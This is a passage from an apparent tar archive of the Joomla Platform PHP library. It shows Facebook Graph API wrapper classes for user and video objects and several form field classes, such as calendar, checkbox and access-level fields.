* Method to create a note on the behalf of the user.
* Requires authentication and publish_stream permission, user_groups or
friends_groups permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param string $subject The subject of the note.
* @param string $message Note content.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createNote($user, $subject, $message)
{
// Set POST request parameters.
$data = array();
$data['subject'] = $subject;
$data['message'] = $message;
return $this->createConnection($user, 'notes', $data);
}
/**
* Method to get the user's photos. Requires authentication and
user_groups or friends_groups permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getPhotos($user, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($user, 'photos', '',
$limit, $offset, $until, $since);
}
/**
* Method to post a photo on user's wall. Requires authentication and
publish_stream permission, user_groups or friends_groups permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param string $source Path to photo.
* @param string $message Photo description.
* @param string $place Facebook ID of the place associated with
the photo.
* @param boolean $noStory If set to 1, optionally suppresses the feed
story that is automatically
* generated on a user’s profile when they
upload a photo using your application.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createPhoto($user, $source, $message = null, $place =
null, $noStory = null)
{
// Set POST request parameters.
$data = array();
$data[basename($source)] = '@' . realpath($source);
$data['message'] = $message;
$data['place'] = $place;
$data['no_story'] = $noStory;
return $this->createConnection($user, 'photos', $data,
array('Content-Type' => 'multipart/form-data'));
}
/**
* Method to get the user's posts. Requires authentication and
read_stream permission for non-public posts.
*
* @param mixed $user Either an integer containing the user ID
or a string containing the username.
* @param boolean $location Retrieve only posts with a location
attached.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getPosts($user, $location = false, $limit = 0, $offset =
0, $until = null, $since = null)
{
if ($location == true)
{
$location = '?with=location';
}
// Send the request.
return $this->getConnection($user, 'posts', $location,
$limit, $offset, $until, $since);
}
/**
* Method to post on a user's wall. Message or link parameter is
required. Requires authentication and publish_stream permission.
*
* @param mixed $user Either an integer containing the
user ID or a string containing the username.
* @param string $message Post message.
* @param string $link Post URL.
* @param string $picture Post thumbnail image (can only be
used if link is specified)
* @param string $name Post name (can only be used if link
is specified).
* @param string $caption Post caption (can only be used if
link is specified).
* @param string $description Post description (can only be used
if link is specified).
* @param array $actions Post actions array of objects
containing name and link.
* @param string $place Facebook Page ID of the location
associated with this Post.
* @param string $tags Comma-separated list of Facebook
IDs of people tagged in this Post.
* For example: 1207059,701732. You
cannot specify this field without also specifying a place.
* @param string $privacy Post privacy settings (can only be
specified if the Timeline being posted
* on belongs to the User creating the
Post).
* @param string $objectAttachment Facebook ID for an existing picture
in the User's photo albums to use as the thumbnail image.
* The User must be the owner of the
photo, and the photo cannot be part of a message attachment.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createPost($user, $message = null, $link = null, $picture
= null, $name = null, $caption = null,
$description = null, $actions = null, $place = null, $tags = null,
$privacy = null, $objectAttachment = null)
{
// Set POST request parameters.
$data = array();
$data['message'] = $message;
$data['link'] = $link;
$data['name'] = $name;
$data['caption'] = $caption;
$data['description'] = $description;
$data['actions'] = $actions;
$data['place'] = $place;
$data['tags'] = $tags;
$data['privacy'] = $privacy;
$data['object_attachment'] = $objectAttachment;
$data['picture'] = $picture;
return $this->createConnection($user, 'feed', $data);
}
/**
* Method to delete a post. Note: you can only delete the post if it was
created by the current user. Requires authentication
*
* @param string $post The Post ID.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function deletePost($post)
{
return $this->deleteConnection($post);
}
/**
* Method to get the user's statuses. Requires authentication
read_stream permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getStatuses($user, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($user, 'statuses', '',
$limit, $offset, $until, $since);
}
/**
* Method to post a status message on behalf of the user. Requires
authentication publish_stream permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param string $message Status message content.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createStatus($user, $message)
{
// Set POST request parameters.
$data = array();
$data['message'] = $message;
return $this->createConnection($user, 'feed', $data);
}
/**
* Method to delete a status. Note: you can only delete the post if it was
created by the current user.
* Requires authentication publish_stream permission.
*
* @param string $status The Status ID.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function deleteStatus($status)
{
return $this->deleteConnection($status);
}
/**
* Method to get the videos the user has been tagged in. Requires
authentication and user_videos or friends_videos permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getVideos($user, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($user, 'videos', '',
$limit, $offset, $until, $since);
}
/**
* Method to post a video on behalf of the user. Requires authentication
and publish_stream permission.
*
* @param mixed $user Either an integer containing the user ID
or a string containing the username.
* @param string $source Path to video.
* @param string $title Video title.
* @param string $description Video description.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createVideo($user, $source, $title = null, $description =
null)
{
// Set POST request parameters.
$data = array();
$data[basename($source)] = '@' . realpath($source);
$data['title'] = $title;
$data['description'] = $description;
return $this->createConnection($user, 'videos', $data,
array('Content-Type' => 'multipart/form-data'));
}
/**
* Method to get the posts the user has been tagged in. Requires
authentication and user_videos or friends_videos permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getTagged($user, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($user, 'tagged', '',
$limit, $offset, $until, $since);
}
/**
* Method to get the activities listed on the user's profile.
Requires authentication and user_activities or friends_activities
permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getActivities($user, $limit = 0, $offset = 0, $until =
null, $since = null)
{
return $this->getConnection($user, 'activities',
'', $limit, $offset, $until, $since);
}
/**
* Method to get the books listed on the user's profile. Requires
authentication and user_likes or friends_likes permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getBooks($user, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($user, 'books', '',
$limit, $offset, $until, $since);
}
/**
* Method to get the interests listed on the user's profile. Requires
authentication.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getInterests($user, $limit = 0, $offset = 0, $until =
null, $since = null)
{
return $this->getConnection($user, 'interests',
'', $limit, $offset, $until, $since);
}
/**
* Method to get the movies listed on the user's profile. Requires
authentication and user_likes or friends_likes permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getMovies($user, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($user, 'movies', '',
$limit, $offset, $until, $since);
}
/**
* Method to get the television listed on the user's profile.
Requires authentication and user_likes or friends_likes permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getTelevision($user, $limit = 0, $offset = 0, $until =
null, $since = null)
{
return $this->getConnection($user, 'television',
'', $limit, $offset, $until, $since);
}
/**
* Method to get the music listed on the user's profile. Requires
authentication user_likes or friends_likes permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getMusic($user, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($user, 'music', '',
$limit, $offset, $until, $since);
}
/**
* Method to get the user's subscribers. Requires authentication and
user_subscriptions or friends_subscriptions permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getSubscribers($user, $limit = 0, $offset = 0)
{
return $this->getConnection($user, 'subscribers',
'', $limit, $offset);
}
/**
* Method to get the people the user is subscribed to. Requires
authentication and user_subscriptions or friends_subscriptions permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getSubscribedTo($user, $limit = 0, $offset = 0)
{
return $this->getConnection($user, 'subscribedto',
'', $limit, $offset);
}
}
facebook/video.php000064400000010757151171674100010151 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Facebook
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Facebook API Video class for the Joomla Platform.
*
* @link http://developers.facebook.com/docs/reference/api/video/
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/facebook` package via Composer instead
*/
class JFacebookVideo extends JFacebookObject
{
/**
* Method to get a video. Requires authentication and user_videos or
friends_videos permission for private videos.
*
* @param string $video The video id.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getVideo($video)
{
return $this->get($video);
}
/**
* Method to get a video's comments. Requires authentication and
user_videos or friends_videos permission for private videos.
*
* @param string $video The video id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getComments($video, $limit=0, $offset=0, $until=null,
$since=null)
{
return $this->getConnection($video, 'comments',
'', $limit, $offset, $until, $since);
}
/**
* Method to comment on a video. Requires authentication and
publish_stream permission, user_videos or friends_videos permission for
private videos.
*
* @param string $video The video id.
* @param string $message The comment's text.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createComment($video, $message)
{
// Set POST request parameters.
$data = array();
$data['message'] = $message;
return $this->createConnection($video, 'comments', $data);
}
/**
* Method to delete a comment. Requires authentication and publish_stream
permission, user_videos or friends_videos permission for private videos.
*
* @param string $comment The comment's id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deleteComment($comment)
{
return $this->deleteConnection($comment);
}
/**
* Method to get video's likes. Requires authentication and
user_videos or friends_videos permission for private videos.
*
* @param string $video The video id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getLikes($video, $limit=0, $offset=0, $until=null,
$since=null)
{
return $this->getConnection($video, 'likes', '',
$limit, $offset, $until, $since);
}
/**
* Method to like a video. Requires authentication and publish_stream
permission, user_videos or friends_videos permission for private videos.
*
* @param string $video The video id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function createLike($video)
{
return $this->createConnection($video, 'likes');
}
/**
* Method to unlike a video. Requires authentication and publish_stream
permission, user_videos or friends_videos permission for private videos.
*
* @param string $video The video id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deleteLike($video)
{
return $this->deleteConnection($video, 'likes');
}
/**
* Method to get the album-sized view of the video. Requires
authentication and user_videos or friends_videos permission for private
photos.
*
* @param string $video The video id.
*
* @return string URL of the picture.
*
* @since 3.2.0
*/
public function getPicture($video)
{
return $this->getConnection($video, 'picture');
}
}
form/fields/accesslevel.php000064400000002743151171674100011770
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('list');
/**
* Form Field class for the Joomla Platform.
* Provides a list of access levels. Access levels control what users in
specific
* groups can see.
*
* @see JAccess
* @since 1.7.0
*/
class JFormFieldAccessLevel extends JFormFieldList
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'AccessLevel';
/**
* Method to get the field input markup.
*
* @return string The field input markup.
*
* @since 1.7.0
*/
protected function getInput()
{
$attr = '';
// Initialize some field attributes.
$attr .= !empty($this->class) ? ' class="' .
$this->class . '"' : '';
$attr .= $this->disabled ? ' disabled' : '';
$attr .= !empty($this->size) ? ' size="' .
$this->size . '"' : '';
$attr .= $this->multiple ? ' multiple' : '';
$attr .= $this->required ? ' required
aria-required="true"' : '';
$attr .= $this->autofocus ? ' autofocus' : '';
// Initialize JavaScript field attributes.
$attr .= $this->onchange ? ' onchange="' .
$this->onchange . '"' : '';
// Get the field options.
$options = $this->getOptions();
return JHtml::_('access.level', $this->name,
$this->value, $attr, $options, $this->id);
}
}
form/fields/aliastag.php000064400000003217151171674100011261
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('list');
/**
* Form Field class for the Joomla Framework.
*
* @since 2.5.0
*/
class JFormFieldAliastag extends JFormFieldList
{
/**
* The field type.
*
* @var string
* @since 3.6
*/
protected $type = 'Aliastag';
/**
* Method to get a list of options for a list input.
*
* @return array An array of JHtml options.
*
* @since 3.6
*/
protected function getOptions()
{
// Get list of tag type alias
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('Distinct type_alias AS value, type_alias AS
text')
->from('#__contentitem_tag_map');
$db->setQuery($query);
$options = $db->loadObjectList();
$lang = JFactory::getLanguage();
foreach ($options as $i => $item)
{
$parts = explode('.', $item->value);
$extension = $parts[0];
$lang->load($extension . '.sys', JPATH_ADMINISTRATOR,
null, false, true)
|| $lang->load($extension, JPath::clean(JPATH_ADMINISTRATOR .
'/components/' . $extension), null, false, true);
$options[$i]->text = JText::_(strtoupper($extension) .
'_TAGS_' . strtoupper($parts[1]));
}
// Merge any additional options in the XML definition.
$options = array_merge(parent::getOptions(), $options);
// Sort by language value
usort(
$options,
function($a, $b)
{
return strcmp($a->text, $b->text);
}
);
return $options;
}
}
form/fields/cachehandler.php000064400000002062151171674100012072
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('list');
/**
* Form Field class for the Joomla Platform.
* Provides a list of available cache handlers
*
* @see JCache
* @since 1.7.0
*/
class JFormFieldCacheHandler extends JFormFieldList
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'CacheHandler';
/**
* Method to get the field options.
*
* @return array The field option objects.
*
* @since 1.7.0
*/
protected function getOptions()
{
$options = array();
// Convert to name => name array.
foreach (JCache::getStores() as $store)
{
$options[] = JHtml::_('select.option', $store,
JText::_('JLIB_FORM_VALUE_CACHE_' . $store), 'value',
'text');
}
$options = array_merge(parent::getOptions(), $options);
return $options;
}
}
form/fields/calendar.php000064400000022150151171674100011242
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Form Field class for the Joomla Platform.
*
* Provides a pop up date picker linked to a button.
* Optionally may be filtered to use user's or server's time
zone.
*
* @since 1.7.0
*/
class JFormFieldCalendar extends JFormField
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'Calendar';
/**
* The allowable maxlength of calendar field.
*
* @var integer
* @since 3.2
*/
protected $maxlength;
/**
* The format of date and time.
*
* @var integer
* @since 3.2
*/
protected $format;
/**
* The filter.
*
* @var integer
* @since 3.2
*/
protected $filter;
/**
* The minimum year number to subtract/add from the current year
*
* @var integer
* @since 3.7.0
*/
protected $minyear;
/**
* The maximum year number to subtract/add from the current year
*
* @var integer
* @since 3.7.0
*/
protected $maxyear;
/**
* Name of the layout being used to render the field
*
* @var string
* @since 3.7.0
*/
protected $layout = 'joomla.form.field.calendar';
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to get the value.
*
* @return mixed The property value or null.
*
* @since 3.2
*/
public function __get($name)
{
switch ($name)
{
case 'maxlength':
case 'format':
case 'filter':
case 'timeformat':
case 'todaybutton':
case 'singleheader':
case 'weeknumbers':
case 'showtime':
case 'filltable':
case 'minyear':
case 'maxyear':
return $this->$name;
}
return parent::__get($name);
}
/**
* Method to set certain otherwise inaccessible properties of the form
field object.
*
* @param string $name The property name for which to set the value.
* @param mixed $value The value of the property.
*
* @return void
*
* @since 3.2
*/
public function __set($name, $value)
{
switch ($name)
{
case 'maxlength':
case 'timeformat':
$this->$name = (int) $value;
break;
case 'todaybutton':
case 'singleheader':
case 'weeknumbers':
case 'showtime':
case 'filltable':
case 'format':
case 'filter':
case 'minyear':
case 'maxyear':
$this->$name = (string) $value;
break;
default:
parent::__set($name, $value);
}
}
/**
* Method to attach a JForm object to the field.
*
* @param SimpleXMLElement $element The SimpleXMLElement object
representing the `<field>` tag for the form field object.
* @param mixed $value The form field value to validate.
* @param string $group The field name group control
value. This acts as an array container for the field.
* For example if the field has
name="foo" and the group value is set to "bar" then the
* full field name would end up being
"bar[foo]".
*
* @return boolean True on success.
*
* @see JFormField::setup()
* @since 3.2
*/
public function setup(SimpleXMLElement $element, $value, $group = null)
{
$return = parent::setup($element, $value, $group);
if ($return)
{
$this->maxlength = (int) $this->element['maxlength']
? (int) $this->element['maxlength'] : 45;
$this->format = (string) $this->element['format']
? (string) $this->element['format'] : '%Y-%m-%d';
$this->filter = (string) $this->element['filter']
? (string) $this->element['filter'] : 'USER_UTC';
$this->todaybutton = (string)
$this->element['todaybutton'] ? (string)
$this->element['todaybutton'] : 'true';
$this->weeknumbers = (string)
$this->element['weeknumbers'] ? (string)
$this->element['weeknumbers'] : 'true';
$this->showtime = (string)
$this->element['showtime'] ? (string)
$this->element['showtime'] : 'false';
$this->filltable = (string)
$this->element['filltable'] ? (string)
$this->element['filltable'] : 'true';
$this->timeformat = (int) $this->element['timeformat']
? (int) $this->element['timeformat'] : 24;
$this->singleheader = (string)
$this->element['singleheader'] ? (string)
$this->element['singleheader'] : 'false';
$this->minyear = strlen((string)
$this->element['minyear']) ? (string)
$this->element['minyear'] : null;
$this->maxyear = strlen((string)
$this->element['maxyear']) ? (string)
$this->element['maxyear'] : null;
if ($this->maxyear < 0 || $this->minyear > 0)
{
$this->todaybutton = 'false';
}
}
return $return;
}
/**
* Method to get the field input markup.
*
* @return string The field input markup.
*
* @since 1.7.0
*/
protected function getInput()
{
$config = JFactory::getConfig();
$user = JFactory::getUser();
// Translate the format if requested
$translateFormat = (string)
$this->element['translateformat'];
if ($translateFormat && $translateFormat != 'false')
{
$showTime = (string) $this->element['showtime'];
$lang = \JFactory::getLanguage();
$debug = $lang->setDebug(false);
if ($showTime && $showTime != 'false')
{
$this->format = JText::_('DATE_FORMAT_CALENDAR_DATETIME');
}
else
{
$this->format = JText::_('DATE_FORMAT_CALENDAR_DATE');
}
$lang->setDebug($debug);
}
// If a known filter is given use it.
switch (strtoupper($this->filter))
{
case 'SERVER_UTC':
// Convert a date to UTC based on the server timezone.
if ($this->value && $this->value !=
JFactory::getDbo()->getNullDate())
{
// Get a date object based on the correct timezone.
$date = JFactory::getDate($this->value, 'UTC');
$date->setTimezone(new
DateTimeZone($config->get('offset')));
// Transform the date string.
$this->value = $date->format('Y-m-d H:i:s', true,
false);
}
break;
case 'USER_UTC':
// Convert a date to UTC based on the user timezone.
if ($this->value && $this->value !=
JFactory::getDbo()->getNullDate())
{
// Get a date object based on the correct timezone.
$date = JFactory::getDate($this->value, 'UTC');
$date->setTimezone($user->getTimezone());
// Transform the date string.
$this->value = $date->format('Y-m-d H:i:s', true,
false);
}
break;
}
// Format value when not nulldate ('0000-00-00 00:00:00'),
otherwise blank it as it would result in 1970-01-01.
if ($this->value && $this->value !=
JFactory::getDbo()->getNullDate() && strtotime($this->value)
!== false)
{
$tz = date_default_timezone_get();
date_default_timezone_set('UTC');
$this->value = strftime($this->format,
strtotime($this->value));
date_default_timezone_set($tz);
}
else
{
$this->value = '';
}
return
$this->getRenderer($this->layout)->render($this->getLayoutData());
}
/**
* Method to get the data to be passed to the layout for rendering.
*
* @return array
*
* @since 3.7.0
*/
protected function getLayoutData()
{
$data = parent::getLayoutData();
$tag = JFactory::getLanguage()->getTag();
$calendar = JFactory::getLanguage()->getCalendar();
$direction = strtolower(JFactory::getDocument()->getDirection());
// Get the appropriate file for the current language date helper
$helperPath =
'system/fields/calendar-locales/date/gregorian/date-helper.min.js';
if (!empty($calendar) && is_dir(JPATH_ROOT .
'/media/system/js/fields/calendar-locales/date/' .
strtolower($calendar)))
{
$helperPath = 'system/fields/calendar-locales/date/' .
strtolower($calendar) . '/date-helper.min.js';
}
// Get the appropriate locale file for the current language
$localesPath = 'system/fields/calendar-locales/en.js';
if (is_file(JPATH_ROOT .
'/media/system/js/fields/calendar-locales/' . strtolower($tag) .
'.js'))
{
$localesPath = 'system/fields/calendar-locales/' .
strtolower($tag) . '.js';
}
elseif (is_file(JPATH_ROOT .
'/media/system/js/fields/calendar-locales/' . $tag .
'.js'))
{
$localesPath = 'system/fields/calendar-locales/' . $tag .
'.js';
}
elseif (is_file(JPATH_ROOT .
'/media/system/js/fields/calendar-locales/' .
strtolower(substr($tag, 0, -3)) . '.js'))
{
$localesPath = 'system/fields/calendar-locales/' .
strtolower(substr($tag, 0, -3)) . '.js';
}
$extraData = array(
'value' => $this->value,
'maxLength' => $this->maxlength,
'format' => $this->format,
'filter' => $this->filter,
'todaybutton' => ($this->todaybutton ===
'true') ? 1 : 0,
'weeknumbers' => ($this->weeknumbers ===
'true') ? 1 : 0,
'showtime' => ($this->showtime === 'true')
? 1 : 0,
'filltable' => ($this->filltable ===
'true') ? 1 : 0,
'timeformat' => $this->timeformat,
'singleheader' => ($this->singleheader ===
'true') ? 1 : 0,
'helperPath' => $helperPath,
'localesPath' => $localesPath,
'minYear' => $this->minyear,
'maxYear' => $this->maxyear,
'direction' => $direction,
);
return array_merge($data, $extraData);
}
}
form/fields/checkbox.php000064400000010433151171674100011260
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Form Field class for the Joomla Platform.
* Single checkbox field.
* This is a boolean field with null for false and the specified option for
true
*
* @link
http://www.w3.org/TR/html-markup/input.checkbox.html#input.checkbox
* @see JFormFieldCheckboxes
* @since 1.7.0
*/
class JFormFieldCheckbox extends JFormField
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'Checkbox';
/**
* The checked state of checkbox field.
*
* @var boolean
* @since 3.2
*/
protected $checked = false;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to get the value.
*
* @return mixed The property value or null.
*
* @since 3.2
*/
public function __get($name)
{
switch ($name)
{
case 'checked':
return $this->checked;
}
return parent::__get($name);
}
/**
* Method to set certain otherwise inaccessible properties of the form
field object.
*
* @param string $name The property name for which to set the value.
* @param mixed $value The value of the property.
*
* @return void
*
* @since 3.2
*/
public function __set($name, $value)
{
switch ($name)
{
case 'checked':
$value = (string) $value;
$this->checked = ($value == 'true' || $value == $name ||
$value == '1');
break;
default:
parent::__set($name, $value);
}
}
/**
* Method to attach a JForm object to the field.
*
* @param SimpleXMLElement $element The SimpleXMLElement object
representing the `<field>` tag for the form field object.
* @param mixed $value The form field value to validate.
* @param string $group The field name group control
value. This acts as an array container for the field.
* For example if the field has
name="foo" and the group value is set to "bar" then the
* full field name would end up being
"bar[foo]".
*
* @return boolean True on success.
*
* @see JFormField::setup()
* @since 3.2
*/
public function setup(SimpleXMLElement $element, $value, $group = null)
{
// Handle the default attribute
$default = (string) $element['default'];
if ($default)
{
$test = $this->form->getValue((string) $element['name'],
$group);
$value = ($test == $default) ? $default : null;
}
$return = parent::setup($element, $value, $group);
if ($return)
{
$checked = (string) $this->element['checked'];
$this->checked = ($checked == 'true' || $checked ==
'checked' || $checked == '1');
empty($this->value) || $this->checked ? null : $this->checked =
true;
}
return $return;
}
/**
* Method to get the field input markup.
* The checked element sets the field to selected.
*
* @return string The field input markup.
*
* @since 1.7.0
*/
protected function getInput()
{
// Initialize some field attributes.
$class = !empty($this->class) ? ' class="' .
$this->class . '"' : '';
$disabled = $this->disabled ? ' disabled' : '';
$value = !empty($this->default) ? $this->default :
'1';
$required = $this->required ? ' required
aria-required="true"' : '';
$autofocus = $this->autofocus ? ' autofocus' : '';
$checked = $this->checked || !empty($this->value) ? '
checked' : '';
// Initialize JavaScript field attributes.
$onclick = !empty($this->onclick) ? ' onclick="' .
$this->onclick . '"' : '';
$onchange = !empty($this->onchange) ? ' onchange="' .
$this->onchange . '"' : '';
// Including fallback code for HTML5 non supported browsers.
JHtml::_('jquery.framework');
JHtml::_('script', 'system/html5fallback.js',
array('version' => 'auto', 'relative'
=> true, 'conditional' => 'lt IE 9'));
return '<input type="checkbox" name="' .
$this->name . '" id="' . $this->id . '"
value="'
. htmlspecialchars($value, ENT_COMPAT, 'UTF-8') .
'"' . $class . $checked . $disabled . $onclick . $onchange
. $required . $autofocus . ' />';
}
}
form/fields/checkboxes.php000064400000007757151171674100011627
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('list');
/**
* Form Field class for the Joomla Platform.
* Displays options as a list of checkboxes.
* Multiselect may be forced to be true.
*
* @see JFormFieldCheckbox
* @since 1.7.0
*/
class JFormFieldCheckboxes extends JFormFieldList
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'Checkboxes';
/**
* Name of the layout being used to render the field
*
* @var string
* @since 3.5
*/
protected $layout = 'joomla.form.field.checkboxes';
/**
* Flag to tell the field to always be in multiple values mode.
*
* @var boolean
* @since 1.7.0
*/
protected $forceMultiple = true;
/**
* The comma separated list of checked checkboxes value.
*
* @var mixed
* @since 3.2
*/
public $checkedOptions;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to get the value.
*
* @return mixed The property value or null.
*
* @since 3.2
*/
public function __get($name)
{
switch ($name)
{
case 'forceMultiple':
case 'checkedOptions':
return $this->$name;
}
return parent::__get($name);
}
/**
* Method to set certain otherwise inaccessible properties of the form
field object.
*
* @param string $name The property name for which to set the value.
* @param mixed $value The value of the property.
*
